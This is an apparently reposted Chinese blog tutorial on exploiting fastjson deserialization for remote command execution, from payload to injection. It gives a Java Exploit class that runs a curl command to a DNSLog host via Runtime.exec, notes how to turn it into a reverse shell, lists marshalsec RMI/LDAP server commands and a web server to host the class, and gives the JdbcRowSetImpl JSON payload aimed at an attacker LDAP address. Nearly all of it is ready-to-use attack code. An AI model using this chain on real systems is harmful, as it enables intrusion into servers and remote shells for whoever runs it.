fastjson 漏洞利用 命令執行



如果你已經用DNSLog之類的工具,探測到了某個url有fastjson問題,那么接着可以試試能不能反彈shell,由於反彈shell步驟多,容易不成功,我就簡化一下流程,改成執行命令,執行curl命令。

1. 准備一個Payload

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

# 如果想反彈shell ,那么修改這一句就行了 String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};

我一般在本地編輯,然后用javac Exploit.java,得到Expoit.class ,上傳公網服務器里,如果你vim刷得6,這些步驟完全可以在服務器上操作。

然后在將這個Expoit.class 上傳到你到服務器上去。

2. 服務器上啟動 rmi

在本地啟動rmi服務器,這里推薦github上的一個項目marshalsec

https://github.com/mbechler/marshalsec

需要用maven進行生成jar包,進入marshalsec目錄后,執行如下命令:

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

之后使用過的是這個包 marshalsec-0.0.3-SNAPSHOT-all.jar,

可以移動到仍意目錄都可以, 最好把Expoit.class和它放在同一個目錄下。

在當前目錄下,打開一個web服務器:

python -m SimpleHTTPServer 8000

然后啟動rmi,

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit

# 如果想反彈shell,加個端口就行了
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#Exploit 9999

如果命令執行成功,會出現如下監聽情況

3. 向目標注入payload

可以用burp發包,也可以用腳本發包,都一樣,

{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://xx.xx.xx.xx:1099/Exploit\",\"autoCommit\":true}

然后去DNSlog看看有沒有訪問記錄即可,沒有記錄都話,就比較難說了,可能網絡問題、環境問題、步驟有問題、fastjson版本不是對應版本、java版本問題,這種就自己探索吧。


參考

https://www.cnblogs.com/sijidou/p/13121332.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM